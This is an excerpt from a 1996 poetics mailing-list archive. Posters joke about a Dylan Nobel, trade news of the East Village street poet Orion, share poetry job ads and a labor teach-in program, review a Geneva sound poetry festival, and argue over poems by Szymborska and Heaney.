31. **Jordan Davis**
privileged cultural moments and you!
Wed 2 Oct 1996

So what will everybody do if Bob Dylan wins the Nobel Prize for literature?

J

↑ Index

32. **Tony Green**
Re: the way of all languages
Wed 2 Oct 1996

Jordan - Magic Fire Music + harp and nasal twang + While the Clouds Roll by (synthesizer strings)+ wearing a George Costanza Fan Club t-shirt + bra with words on it: Poetics List + e-mail address (TM Eliza NZ Enterprises)-- worn outside--- + Stock Market report (voice over) ---all these in negotiation with one another could be productive of lots and lots of art? like the murder of the doll that looks like George's mother for starters (TVNZ 2 yesterday 7.30 p.m.) JUXTAPOSED mind you with 8 p.m. Mad About You. The nightmare for the stand-up with ketchup on his trousers, no material, no props is also productive, if confronted and acted out? Have a Nice Day.

Tony Green,
e-mail: [redacted]

↑ Index

33. **Jordan Davis**
Re: the way of all languages
Wed 2 Oct 1996

---

looks good to me Tony until you get to the TV part.

J

↑ Index

34. **maria damon**
Re: privileged cultural moments and you!
Wed 2 Oct 1996

In message <v01530500ae788abab01d@[166.84.199.56]> UB Poetics discussion group
writes:
> So what will everybody do if Bob Dylan wins the Nobel Prize for literature?

>
> J

shd be an interesting moment to be in mpls. i guess i'll...walk down 4th St.--md

↑ Index

35. Mark Roberts
Re: privileged cultural moments and you!
Wed 2 Oct 1996

> *So what will everybody do if Bob Dylan wins the Nobel Prize for literature?*
>
> *J*

I suppose everyone will just have to go get stoned.....
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

36. Tenney Nathanson
Blue Monday citation
Thu 3 Oct 1996

Maria--

thanks for the reference; will brush off my Mansion (hmm) and go at it

Tenney

> *tenney: it was originally in german, i read it in french; it's "Identite du discours et transgression lyrique." poetique 32, novembre 1977. he actually talks about lyric --i guess maybe i'm misrepresentning it to call it "poetry"--md*

↑ Index

37. George Bowering
Re: malomar
Thu 3 Oct 1996

> *the fans said alomar sucks alomar sucks alomar sucks as the umps took the field last night at yankee stadium*
>
> *the fans withrew their support later in the game as blue was telling mariano dunken where the bench was after calling him out on a pitch both high & outside with runners on*

Yeah? Well, the umpires sure shafted the Texas pitchers in the second game. AND Raines was not safe at first! I will never forgive. Never.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

38. George Bowering
Re: privileged cultural moments and you!
Thu 3 Oct 1996

> *So what will everybody do if Bob Dylan wins the Nobel Prize for literature?*
>
> *J*

Look forward to Rush Limbaugh getting the Peace Prize.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

39. Christina Fairbank Chirot
Immigration Laws & privileged cultural moments
Thu 3 Oct 1996

Thanks again to Gabrielle Welford for the posts concerning the Immigration Laws.

Actually the privileged cultural moment wasn't Dylan quote--but if you scroll down past that, is a post re conference to be held on Chance in Las Vegas (where else?) featuring Baudrillard, Diane di Prima, Tom Watson, et al.
Too bad Pascal the Wagerer can't be there!

"No more "liknesses of reality,' no idealistic images, nothing
but a desert!"
--K. Malevich, "The Non-Objective World"

"The most beautiful world is like a heap of rubble tossed dwon in
confusion."
--Heraclitus

"I pity the poor immigrant/who wishes he would have stayed home." --Robert Zimmerman

↑ Index

40. Daniel Bouchard
Re: privileged cultural moments and Jordan
Thu 3 Oct 1996

> *So what will everybody do if Bob Dylan wins the Nobel Prize for literature?*

Realize how correct Pound was when he warned poets to ignore all literary prizes--
expecially the ignoble Nobel.

[redacted]

↑ Index

41. maria damon
Re: Blue Monday citation
Thu 3 Oct 1996

---

i must admit i have put this essay to uses that may not do justice to its complexity. i'd be interested to hear what u think of it, tenney, plus all you others who may be familiar w/ it... bests, maria d

In message <[redacted]> UB Poetics
discussion group writes:

> Maria--
>
> thanks for the reference; will brush off my Mansion (hmm) and go at it
>
> Tenney
>
> >tenney: it was originally in german, i read it in french; it's "Identite du
> >discours et transgression lyrique." poetique 32, novembre 1977. he actually
> >talks about lyric --i guess maybe i'm misrepresentning it to call it
> >"poetry"--md

↑ Index

42. Kathrine Varnes

Poet Ad (fwd)

Thu 3 Oct 1996

A forward from Amittai F. Aviram:

ANNOUNCEMENT

I hope the following job announcement is not inappropriate to this list.

We're hiring a POET! The following announcement is appearing in the _MLA Job List_, the _Chronicle of Higher Education_, and the _WPA Job List_--

Beginning Assistant Professor. Poet to teach in undergraduate and MFA program. Significant publications and promise of wide recognition. Interest in Women's Studies preferred.

Letter, CV, recommendation letters, and WRITING SAMPLE should be sent to:

Professor Robert Newman
Chair
Department of English
University of South Carolina
Columbia, South Carolina 29208

Feel free to e-mail me if you need more info.

Best,
Amittai F. Aviram
Associate Professor
Department of English
University of South Carolina
Columbia, South Carolina 29208
E-mail [redacted] or (alias) [redacted]

↑ Index

43. Bill Luoma
orion
Thu 3 Oct 1996

Jordan thanks for the oriion sighting:

> *Orion sightings:*
>
> *7th & A, eight postings on the*
> *phonebooth, dealing mainly with*
> *'nasal crutches'*

orion was looking good at a mad alex reading last week. walked around talking about stephen paul miller and presence. was stephen paul miller really his own presence? or was his presence just a bourgeois rhetorical tactic to gain attention? sorry i'm paraphrasing.

Bill

ps, how do you verify an orion sighting that is written down? please instruct me how to read.

↑ Index

44. Bill Luoma
rerion (fwd)
Thu 3 Oct 1996

billi remember you saying orion saying something more like is stephen paul miller an ironic stance adopted as a parody by a more intelligent being, or is stephen paul miller merely the victim of his own bourgeous rhetorical stance? (another paraphrase but gives the idea i came away with.)

to answer the question of how you spot orion words---he puts copies of his poems on mail boxes & lamp posts in the east village--Jordan collects them--I think hw should publish them--urge him to type a few for our edification--i think orion is brillian--but he smells bad.

Tony Door, EV

↑ Index

45. Burt Kimmelman
Re: orion
Thu 3 Oct 1996

bill,

i may have missed the start of this thread: are you referring to Orion Feig?

BTW, just now heard from stephen-paul miller in Krakow, who is settling in there for a while on a fullbright. if you or someone wants his email address, let me know. he says he'd love to write something for some publication about the polish scene and poetry etc.

burt

↑ Index

46. Christopher Reiner
WITZ address change
Thu 3 Oct 1996

Hi everybody...

WITZ: A Journal of Contemporary Poetics has a new a address.

WITZ
P.O. Box 40012
Studio City, California 91614

The next issue will appear around the end of this month. It will feature an essay by Jefferson Hansen ("Anarchism & Culture) and reports on two recent conferences (Assembling Alternatives and the Russian extravaganza in New Jersey). Also, of course, book reviews.

Subscriptions to WITZ are $10 (US)/3 issues (individuals) and $30 (US)/3 issues (institutions).

Back issues are archived at the Electronic Poetry Center, in the "Journals" section.

best,

Chris Reiner
[redacted]

↑ Index

47. Jordan Davis
Re: orion
Thu 3 Oct 1996

None other than Orion Feig, who is currently describing Steven Spielberg and Hal Sirowitz in the magic-marker notes he tapes to street signs and phone booths in the East Village. These notes seem very much the product of a schizophrenic imagination (a lot of parsing out the meaning of words by means of folk etymology, a lot of free-floating and then very pointed hostility). As I say, his latest motif is 'the nasal crutch', the meaning of which I prefer not to know. Joel

Lewis knows more about Orion than I do, probably many of you know Orion. He spends most of his time in Tompkins Square Park. I don't know where he sleeps. I'm told he goes south for the winter. Kenny Goldsmith has some of Orion's writings up on his website. Kenny?

Jordan

↑ Index

48. alan sondheim
marking maybe
Thu 3 Oct 1996

nothing [to exclaim]

much sadness although (a
voyeur in memory of screen - neither
white knees press outside into pants, nor
arms move window knuckle rap-glass; nevertheless
eye in shaved pussy / cock in knees... however
shivered floorflesh pants in pants since
my breath goes down your legs rap glass?) but
my breath goes up your legs nonetheless,...
there's no other point to the real and
Net sex sounds like everything else: either
like a poem about it or a story.

↑ Index

49. Christina Fairbank Chirot
Columbia Teach-in
Thu 3 Oct 1996

The intellectual community
joins the new labor movement in

"The Fight For America's Future"

A Teach-In with the Labor Movement

October 3-4, 1996

Columbia University
New York, New York

Opening Plenary:

Thursday, October 3, 1996 7:30 p.m.

Low Library

Chair: Eric Foner, Columbia University

Speakers:

John Sweeney
President, AFL-CIO

Betty Friedan
Wilson Center for Scholars

Cornel West
Harvard University

Patricia Williams
Columbia University

Richard Rorty
University of Virginia

Plenary Session #2:
The Incorporation of America

Friday, October 4, 1996 -- 9:00 a.m.- 10:30 a.m.

Altschul Auditorium, (Int'l. Affairs Bldg.)

Chair: Ira Katznelson, Columbia University

Speakers:

Katha Pollitt
Writer

Orlando Patterson
Harvard University

Linda Chavez-Thompson
Executive Vice-President,
AFL-CIO

Joel Rogers
University of Wisconsin
Madison

Morning Workshops

Friday October 4, 1996, 11:00 am - 12:30 pm

1. Globalization and the American Standard of Living
   Location: Int'l Affairs Building, Rm. 410
   Convener: Steve Fraser
   Participants:

   Bennett Harrison, New School for Social Research
   Ron Blackwell, Corporate Affairs, AFL-CIO
   Joel Rogers, University of Wisconsin, Madison

2. Politics and the Future of the Labor Movement
   Location: Int'l Affairs Building, Rm. 404

Convener: Mike Kazin
Participants:

Ruy Teixeira, Economic Policy Institute
Roger Wilkins, George Mason University
Mark Erlich, Carpenters Local #40
Elaine Bernard, Harvard Trade Union Program

3. Labor and Immigration
Location: Hamilton Hall, Rm. 302
Convener: Gary Gerstle
Participants:

Katie Quan, UNITE
Philip Kasinitz, Hunter College
Maria Ontiveros, Golden Gate Law School
Patricia Fernandez Kelly, Johns Hopkins University

4. Working Families on the Fault-line
Location: Hamilton Hall, Rm. 303
Convener: Joan Williams
Participants:

Lillian Rubin, University of California, Berkeley
Guy Molyneux, Peter Hart Research Association
Joan Williams, American University Law School

5. Organizing the University
Location: Int'l Affairs Building, Rm. 411
Convener: Richard Boris
Participants:

Wells Keddie, AAUP
Kathy Newman, GESO Activist, Yale University
Kris Rondeau, University Organizing, AFSCME
Maida Rosenstein, UAW Local 2110 (Barnard)

6. Culture, Identity, and Class Politics
Location: Int'l Affairs Building, Rm. 403
Convener: Nelson Lichtenstein
Participants:

Todd Gitlin, New York University
Robin Kelley, New York University
Jo-Ann Mort, UNITE
Jerry Hudson, 1199

7. The Wages of 'Race': Unions and Racial Justice
   Location: Int'l Affairs Building, Rm. 413A
   Convener: Tom Sugrue
   Participants:

   David Roediger, University of Minnesota
   Derrick Bell, New York University
   Mae Ngai, Asian Pacific Am. Labor Alliance, AFL-CIO
   Michael Eric Dyson, Univ. of North Carolina, Chapel Hill

8. Labor and the Law (cosponsored by the CENTER FOR PUBLIC INTEREST LAW, Columbia Univ. School of Law)
   Location: Jerome Greene Lounge, Law School
   Convener: David Abraham
   Participants:

   Karl Klare, Northeastem University
   Willie Forbath, Texas/UCLA
   Larry Englestein, AFL-CIO
   Katherine Stone, Cornell Law School

Afternoon Workshops

Friday October 4, 1996, 2:00 pm - 3:30 pm

9. Intellectuals and the Labor Movement
   Location: Int'l Affairs Building, Rm. 403
   Convener: Norman Birnbaum
   Participants:

   Bob Welch, Assistant to the President, AFL-CIO
   Tom Geoghegan, Labor Lawyer & Writer
   Paul Berman, Writer

10. Work, Welfare, and the Labor Movement
    Location: Hamilton Hall, Rm. 302
    Convener: Josh Freeman
    Participants:

    Katherine Newman, Harvard University
    Bill Fletcher, Education Dept., AFL-CIO
    Herb Gans, Columbia University

11. Union Summer & A New Generation of Organizers
    Location: Int'l Affairs Building, Rm. 410

Convener: Kevin Pranis
Participants:

Sarah Potter, student, Columbia University
Andy Levin, Director, Union Summer
Johanna Marquina, student, CUNY Staten Island
Valerie McCrory, Yale Student Labor Action Coalition

12. African Americans and the Labor Movement
Location: Int'l Affairs Building, Rm. 413A
Convener: Leith Mullings
Participants:

Jerry Hudson, 1199
Betty Hugley, 1199

13. Organizing Women
Location: Int'l Affairs Building, Rm. 411
Convener: Joan Williams
Participants:

Marion Crain, Univ. of North Carolina Law School
Chris Woods, Organizing Department, AFL-CIO
Donene Williams, Harvard Union of Clerical & Technical Workers, AFSCME

14. Professional and Technical Workers
Location: Hamilton Hall, Rm. 301
Convener: Stanley Aronowitz
Participants:

Tom Dawes, Local 375, AFSCME
Ernst Benjamin, AAUP
John Ronches, Committee of Interns and Residents

15. Are Labor's Values (Still) Everyone Else's?
Location: Hamilton Hall, Rm. 303
Convener: Ronald Aronson
Participants:

Jerry Deneau, Graphics Communications Intl. Union
Lewis Gordon, Brown University
Heidi Hartmann, Inst. for Women's Policy Studies

16. Organizing in the Global Economy
Location: Int'l Affairs Building, Rm. 405
Convener: Mark Levitan
Participants:

Wilfredo Larencuent, UNITE
William Milberg, New School for Social Research
Barbara Shailor, International Affairs, AFL-CIO
Pharis Harvey, International Labor Rights Federation

Closing Plenary Session:
Organizing the Unorganized

Friday, October 4,1996 -- 4:00 p.m.-6:00 p.m.

Altschul Auditorium, (Int'l Affairs Bldg)

Chair: Manning Marable, Columbia University

Speakers:

Richard Trumka
Secretary-Treasurer, AFL-CIO

David Montgomery
Yale University

Karen Nussbaum
Women's Department, AFL-CIO

Jose La Luz
Int'l Area Director, AFSCME

Frances Fox Piven
City University of New York

Names of approximately 150 distinguished academic and union endorsers omitted; among others: Julian Bond, Alan Brinkley, Jonathan Cutler, Christopher Jencks, Randall Kennedy, Jonathan Kozol, Denis MacShane M.P., Victor Navasky, Arthur Schlesinger, Jr., Carl Schorske, Richard Sennett, Lester Thurow, Michael Walzer, William Junius Wilson,

---

ACKNOWLEDGMENTS:

American Federation of Labor-Congress of Industrial Organizations + United Automobile Workers Local 2110 + District Council 37, American Federation of State, County, and Municipal Employees + UNITE + New World Foundation, New Labor Fund + Amencan Association of University Professors + Queens College Labor Resource Center + Sagan Foundation + American Social History Project + Bernstein & Lipsett, Washington, D.C. + Carol

Bernstein Ferry + Jeremy Blacklow + Sarah Potter + Timothy McCarthy

---

Committee for a National Teach-In; Steven Fraser & Nelson Lichtenstein, Co-Chairs
Phone:[redacted] Fax:[redacted]
E-mail:[redacted]
For more information, contact Jonathan Cutler:
[redacted]

[End]

This document will be available on the Web at:

http://jya.com/teachin.txt

ftp://jya.com/pub/incoming/teachin.txt

↑ Index

50. Christina Fairbank Chirot

a stretch of cultural moments

Thu 3 Oct 1996

(for george jones)

"TIME DON'T MEAN A THING TO ME
I'VE GOT LIFE TO GO"

```
S I N G          S I N G
 S I N           S I N
  I N            I N
   I             I
  I N            I N
 S I N           S I N
S I N G          S I N G
 S I N           S I N
  I N            I N
   I             I
  I N            I N
 S I N           S I N
S I N G          S I N G
 S I N           S I N
  I N            I N
   I             I
```

```
 I N            I N
 S I N          S I N
S I N G         S I N G
 S I N          S I N
 I N            I N
  I             I
 I N            I N
 S I N          S I N
S I N G         S I N G
 S I N          S I N
 I N            I N
  I             I
 I N            I N
 S I N          S I N
S I N G         S I N G
 S I N          S I N
 I N            I N
  I             I
 I N            I N
 S I N          S I N
S I N G         S I N G
```

--dbchirot

↑ Index

51. Ward Tietz

Geneva Sound Poetry Events

Fri 4 Oct 1996

I'm sorry I'm so late with this, but here's a brief summary of the "festival de la Batie" sound poetry events I said I'd post, which were held in Geneva, Switzerland on September 13th, 14th and 15th.

It was a very enjoyable festival. There was a nice mix of work, performed text, recording-enhanced material, theatrical/linguistic and looser happening-style performance. The entire "festival de la Batie" was very well organized and publicized, with posters, catalogs, all over Geneva and also in neighboring France.

Roger Lewinter held a conference/reading on Mallarme on the 13th. I heard part of it in rehearsal, but missed the performance, so I can't say much more. I heard, though, that Mallarme devotees enjoyed it.

The performances of September 14th were quite memorable. The highlight, I thought, was Bernard Heidsieck who gave what was probably the most complete literary performance I've ever seen. As Mark McMorris said, it's

surprising Heidsieck isn't better known in the U.S. He has an elegance and presence in performance that's quite rare.

Amanda Stewart performed some very nice pieces, technically accomplished and varied in an almost classic sound poetry style, with a lot of phonemic emphasis and speed. Some of her pieces had a more textual base and displayed a more writerly character, which made for an interesting contrast.

Guenther Ruch and Juergen Olbrich performed an action based piece with interaction via phone and fax. They placed phone calls to designated participants, which were broadcast to the audience, received faxes throughout the performance, and performed a variety of sound actions involving velcro, the hammering of spaghetti, the destruction of a cuckoo clock, etc. Their piece had some very curious and successful moments.

The performances of the 15th were also quite varied. The evening started off with Christian Uetz. He performed most of his pieces in High German, with sections in Swiss German dialect, a few pieces in French and then also a few in German, French and English, all it seemed from memory. His work was very athletic with a lot of twist and speed. It seemed to work especially well in German.

Mark McMorris and I performed second. Our piece "Accompong" combined elements of the languages of the Jamaican Maroons, along with the use of various large three-dimensional letter-rubrics that had been constructed out of steel and wood. The performance joined action to voice to rubric: interacting with the letters, rocking them, carrying them, hitting them, and so on, while speaking, reading, or shouting. Mark's performance of the Nyankopong section of the piece, which Mark performed while balancing a 90 pound steel "M", his head in the "V" of the "M" on a waist-high wooden "H", was mysterious and beautiful.

Julie Patton's performance was very well received. A lot of people enjoyed her blusey, jazzy rhythms and it was a pleasant reminder to have music so strongly allied with speech rhythms. The pieces that emphasized her voice were very nice, especially the passages which had speech moving in and out of song.

Bob Cobbing and Hugh Metcalfe rounded out the evening with a sound performance extravaganza. They were wonderfully wild, brilliant, awful, funny, wise, stupid, scary, and best of all comfortable and at ease. Bob Cobbing's singing is a wonder. It's difficult to know exactly where it comes from, but then it's there, and it's wonderful; no words, just grumbly sounds, with drums, bells and other instrumentation mixed in. Hugh Metcafle's musical improvisations were perfect accompaniment.

Ward Tietz

↑ Index

52. Kenneth Goldsmith
Orion
Fri 4 Oct 1996

There is a remarkable co-written novel on line by Margueritte and Orion. Each swaps turns at writing and Orion's style is particularly astounding:

http://www.thecurrent.com/newworld/harvey.htm

Don't Call Me Harvey
by Margueritte and Orion

This is the true story of Orion, a poet in his forties experiencing a full blown schizophrenic illness while living outdoors in the famous Tompkins Square Park of New York City, and Margueritte, a poet in her fifties who is a psychiatric nurse. The title, DON'T CALL ME HARVEY is from a joke of theirs that developed from one of Orion's delusions, that Margueritte was really Lee Harvey Oswald.

+==========+ Kenneth Goldsmith play: http://wfmu.org/~kennyg [redacted] work: http://www.ubuweb.com 611 Bway #702, NYC 10012 v. [redacted]

Beans Dear?

↑ Index

53. Kenneth Goldsmith
Orion In All His Graphic Glory On The Web
Fri 4 Oct 1996

Jordan D. sed:

> *Kenny Goldsmith has some of Orion's writings up on his website.*
> *Kenny?*

There is a bunch of Orion's incredible work, scanned in all its graphic glory at:

http://wfmu.org:80/~kennyg/found/orion/orion01.html

Kenny G.

+==========+ Kenneth Goldsmith play: http://wfmu.org/~kennyg [redacted] work: http://www.ubuweb.com 611 Bway #702, NYC 10012 v. [redacted]

Beans Dear?

↑ Index

54. Tod Thilleman
Re: Orion's Autobiography
Fri 4 Oct 1996

schizophrenia as autobio-novel,a kind of helix-related parsing thru the medium of one poetess/nurse Margueritte, as opposed to schiz as poetry on east village phone booths (abc no rio mid eighties rantings on the kennedy assasination & 'You') was I believe, written, published, or going to be published by Enemy Loose Publications in Brooklyn, NY called Don't call me Harvey. Any interested in obtaining, should try query at [redacted].....

↑ Index

55. Jeremy F Green
The New Norton
Fri 4 Oct 1996

I don't know if this is an old thread (haven't had much time for lurking/reading lately), but has anyone had a look at the new (4th edition) Norton Anthology of Poetry? It's just about to hit the bookstores.

I got a glimpse at it last night. Pre-20th century looks like a big improvement; 20th century very discouraging. Stein (from "Stanzas in Meditation") and Riding are now included, but the post-1950 selection is pretty horrific. A couple of Michael Palmer poems, but no Susan Howe, Lyn Hejinian, Charles Bernstein, etc., etc. Maybe the thinking was that Paul Hoover's Pomo. Norton had covered such "minority" interests, but please, Brad Leithauser?!

And my particular pet peeve: STILL NO OPPEN.

Jeremy Green

↑ Index

56. Judy Roitman
Burroughs
Fri 4 Oct 1996

The following, from Jim McCrary, is an announcement of activities related to the work of William S. Burroughs here in Lawrence in November.

Y'all come on down.

> "*Ports of Entry: William S. Burroughs and the Arts*" *organized by Los Angeles County Museum of Art traveling to Lawrence, Kansas.*

> *KU Spencer Museum hosting retrospective of WSB. Ports of Entry. Show opens Nov 2. Symposium sponcered by Spencer and Hall Center on that date from 10am-5pm will feature: Allen Ginsberg,*
> *Kathy Acker, Legs McNiel (punk writer), Robert Sobieszek (curator of show for LA County Museum of Art) and George Condo (painter and WSB collabortor). Opening reception at musuem (free to public) from 5-7. For more information contact Spencer Museum, U of Kansas, Lawrence, Ks.*
>
> *Nov 26th, 7:30 pm at Lied Performance Center, Lawrence, Ks*
>
> *NOVA Convention Revisited featuring:*
>
> *Patti Smith, Deborah Harry, Ed Sanders, Phillip Glass, Laurie Anderson, John Girono.*
>
> *Lied Center Box office or Ticketmaster.*

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

57. Joe Tabbi

Re: job announcement

Fri 4 Oct 1996

This is Joe Tabbi. I'm on the poet search committee this year at the University of Illinois-Chicago, and I would be pleased to read applications from people on this list. The advertisement follows. Thanks!

SEEK POET. Assistant Professor, tenure track, or Associate Professor, beginning fall, 1997, pending budgetary approval, in creative writing (poetry). Significant book publications and experience teaching at graduate and undergraduate levels required. MFA in creative writing or PhD in appropriate field desirable. Creative writing faculty advise students and share in responsibility for the writing program, which offers the BA, MA, and PhD with specialization in creative writing. We encourage applications from women and members of minority groups. Send application letter, curriculum vitae, and writing sample (maximum 10 pages) to: Cris Mazza, Chair Search Committee in Creative Writing UIC-English (M/C 162) Rm. 2027, 601 S. Morgan

Chicago, IL 60607-7120 Do not send additional materials until requested to do so. Screening begins immediately. For fullest consideration, send application by November 1. The University of Illinois at Chicago is an AA/EIOE.

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58. **epc**

Wislawa Szymborska (fwd)

Fri 4 Oct 1996

I forward a message of some interest ...

Forwarded message:
> From: Richard Soos <[redacted]>
> Subject: Wislawa Szymborska
> _____
>
> I am both happy and proud to let you know that Wislawa Szymborska was
> awarded the Nobel Literature Prize this week. She has been a candidate for
> several years, and it is great to see her finally earn the award at age 73.
> She has many loved poems translated into English, including "The End and the
> Beginning", and "People On The Bridge." One of my personal favorites is:
>
> Hitler's first photograph
>
> And who's this little fellow in his itty-bitty robe?
> That's tiny baby Adolf, the Hitlers' little boy!
> Will he grow up to be an L.L.D.?
> Or a tenor in Vienna's Opera House?
> Whose teensy hand is this, whose little ear and eye and nose?
> Whose tummy full of milk, we just don't know:
> printer's, doctor's, merchant's, priest's?
> Where will those tootsy-wootsies finally wander?
> To a garden, to a school, to an office, to a bride?
> Maybe to the Buergermeister's daughter?
>
> Precious little angel, mommy's sunshine, honey bun.
> While he was being born, a year ago,
> there was no dearth of signs on the earth and in the sky:
> spring sun, geraniums in windows,
> the organ-grinder's music in the yard,
> a lucky fortune wrapped in rosy paper.

> Then just before the labor his mother's fateful dream.
> A dove seen in a dream means joyful news--
> if it is caught, a long-awaited guest will come.
> Knock knock, who's there, it's Adolf's heartschen knocking.
>
> A little pacifier, diaper, rattle, bib,
> our bouncing boy, thank God and knock on wood, is well,
> looks just like his folks, like a kitten in a basket,
> like the tots in every other family album.
> Sh-h-h, let's not start crying, sugar,
> The camera will click from under that black hood.
>
> The Klinger Atelier, Grabenstrasse, Braunen.
> And Braunen is a small but worthy town--
> honest businesses, obliging neighbors,
> smell of yeast dough, of gray soap.
> No one hears howling dogs, or fate's footsteps.
> A history teacher loosens his collar
> and yawns over homework.
>
> - trans. Baranczak/Cavanagh
>
> Poland deserves to be proud of its rich poetic heritage. Wislawa Szymborska
> is the 9th woman to win the literature award in 95 years.
>
> This is the second year in a row that a poet has won, and the second year in
> a row that a European has won. Folks to watch for in coming years include
> Hugo Claus from Belgium, Ismail Kadare from Albania, Jaan Kross from
> Estonia, Gyorgy Konrad from Hungary, Doris Lessing from Britain, Jose
> Saramago and Antonio Lobo Antunes from Portugal, John Ashbery of the
United
> States, and Bei Dao of China.
>
> Irish poet Seamus Heaney was last years winner. One of my personal fa-
vorites
> of his is:
>
> Oracle
>
> Hide in the hollow trunk
> of the willow tree,
> its listening familiar,

> until, as usual, they
> cuckoo your name
> across the fields.
> You can hear them
> draw the poles of stiles
> as they approach
> calling you out:
> small mouth and ear
> in a woody cleft,
> lobe and larynx
> of the mossy places.
>
>
> **********

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59. Edward Foster
LANSING!!! PETTET!!!
Fri 4 Oct 1996

In BOSTON! This Tueday, Oct. 8th, 7:30 PM. Big! Big!! Big!!! Reading with Gerrit Lansing and Simon Pettet. Orgazined by the Grolier: call for details, and don't miss it. The best poetry you're going to hear from now to ever . . . . !!!!

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60. Douglas Messerli
Re: Wislawa Szymborska (fwd)
Fri 4 Oct 1996

And these are supposed to be great poems!!!?

Drivel by my standards.

Douglas

At 03:27 PM 10/4/96 -0400, you wrote:
>I forward a message of some interest ...
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>> Subject: Wislawa Szymborska
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>> several years, and it is great to see her finally earn the award at age 73.
>> She has many loved poems translated into English, including "The End and
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>> Beginning", and "People On The Bridge." One of my personal favorites is:
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>> Whose tummy full of milk, we just don't know:
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>> And Braunen is a small but worthy town--
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>> of the willow tree,
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>> in a woody cleft,
>> lobe and larynx
>> of the mossy places.
>>
>>
>> **********
>

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61. Eliza McGrand- CVA Guest
Re: Wislawa Szymborska (fwd)
Fri 4 Oct 1996

---

i always hate these "drivel by my standards!" kinds of messages about poems that are, by general measures of these things, good quality. it has such a sour, preening tone...

the heaney is, as any heaney poem is, at the very least a solid poem. i don't happen to think it is his best, and i can think, easily, of poems by him i like better ("Mid-Term Break" springs immediately to mind). the poem by Wislawa Szymborska was, i thought, wonderful -- a sort of quick, idiosyncratic, feminist re-vision of something i would have thought had no new angles. i DID find myself wondering how much i missed in translation, if the translator(s) appended their own cross-translations of lovetalk, and what the literal in polish would be -- how does "honey bun" cross? is it really "honey bun" in the polish, or one of those wonderfully murmurous, tender polish repeating appellations. "Bapcia" (bap-shee) is grandmother, and, even more sound-charming, djadju (dja-jdoo) -- not sure of polish spelling here -- is grandfather. how, i wonder, did "precious little angel" and "mommy's sunshine" move in the polish.

what i really liked especially about the Szymborska poem is the way it brings the home-ish, the rich sound of one of the most central human relationships, the "lovetalk" of a mother to a child, the ecstasy of that state and its glowing, rhythmic language, into both the traditionally male realm of HIStory and into the realm of the Significant Literary. such a bold, witty stroke...

e

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62. Douglas Messerli
Re: Wislawa Szymborska (fwd)
Fri 4 Oct 1996

I think they're both bad poems by any standard but
the most academic notions of poetry. Further the poems
reproduced by Szymborska in the NY TIMES and LA Times
were equally, to my thinking, mediocre.

Douglas

At 06:42 PM 10/4/96 -0400, you wrote:
>i always hate these "drivel by my standards!" kinds of messages about poems
>that are, by general measures of these things, good quality. it has such
>a sour, preening tone...
>

>the heaney is, as any heaney poem is, at the very least a solid poem. i
>don't happen to think it is his best, and i can think, easily, of poems by
>him i like better ("Mid-Term Break" springs immediately to mind). the poem
>by Wislawa Szymborska was, i thought, wonderful -- a sort of quick,
>idiosyncratic, feminist re-vision of something i would have thought had no
>new angles. i DID find myself wondering how much i missed in translation,
>if the translator(s) appended their own cross-translations of lovetalk,
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>it really "honey bun" in the polish, or one of those wonderfully murmurous,
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>and, even more sound-charming, djadju (dja-jdoo) -- not sure of polish
>spelling here -- is grandfather. how, i wonder, did "precious little angel"
>and "mommy's sunshine" move in the polish.
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>relationships, the "lovetalk" of a mother to a child, the ecstasy of
>that state and its glowing, rhythmic language, into both the traditionally
>male realm of HIStory and into the realm of the Significant Literary.
>such a bold, witty stroke...
>
>e
>

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63. Rod Smith
Re: Wislawa Szymborska (fwd)
Fri 4 Oct 1996

---

um, what's "solid" abt that Heaney poem?

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64. henry gould
Szymborska
Sat 5 Oct 1996

I liked the Szymborska poems I read in various newspapers. Never heard of her. Hard for me to tell yet. A lot of "lie down in Tiamat" out there. But they se emed clear, original, simple in a good way. A good storyteller. I'll give her the benefit of the drivel. I mean doubt.

Under cover of a whisper
under wings of snow

I draw forth the star
from the velvet cloak
I draw forth the star
of your protection
Black Madonna, Black Madonna.

Where life has fallen
and ships gone under
and clouds of November
take flight in haste
and clouds of November
shadow your cloak
Black Madonna, Black Madonna.

Who thinks you are gone
follows their shadow
far from the sky road
your green star glimmers
far from the sky road
and circles the children
Black Madonna, Black Madonna.

- Henry Gould (oh, who's children? Whose?)

↑ Index

65. Ron Silliman
Heidsieck before Heaney
Sat 5 Oct 1996

Multiple comments here:

Ward,

Okay, I'll bite (munch): "The highlight, I thought, was Bernard Heidsieck who gave what was probably the most complete literary performance I've ever seen. As Mark McMorris said, it's surprising Heidsieck isn't better known in the U.S. He has an elegance and presence in performance that's quite rare."

I agree with you that he should be much more well known, but I'd love to know what about his performance made it "the most complete literary...." Don't just tease us. We want the facts, the details, the nuances.

Regarding Szymborska and Heaney: I've seen some of her poems in translations that made me think that there might be something there, as well as ones that look like the worst of Anne Sexton (which is sort of how I took the one posted here). I think it's difficult to make the kind of sweeping "drivel" judgment across

languages unless one has a lot of evidence. After all, there are dozens of dreadful Lorca translations and mushy translations of Baudelaire abound. I try to imagine how hard it must be translate certain American and Canadian poets (Rae Armantrout's poems, for example, are so taught and yet fully coded in a particular idiom that one would have to either jettison a world of nuance [precisely what gives her poems their remarkable depth] or else puff them out the way popped corn kernals are, which might end up looking like some of Szymborska's poems.

Heaney on the other hand might be an argument for recognition of different modes of English as different languages, but... reading works like the one below (and I've found this sort of stuff in every piece of his I've ever read), I cannot imagine the self respecting poet who would not simply cringe at that "cuckoo your name" line, which happens to be the hinge of this whole hoary construction. Beyond that, he's simply putting the pathetic back into its fallacy, no?

Oracle
>>
>> Hide in the hollow trunk
>> of the willow tree,
>> its listening familiar,
>> until, as usual, they
>> cuckoo your name
>> across the fields.
>> You can hear them
>> draw the poles of stiles
>> as they approach
>> calling you out:
>> small mouth and ear
>> in a woody cleft,
>> lobe and larynx
>> of the mossy places.
>>
>>
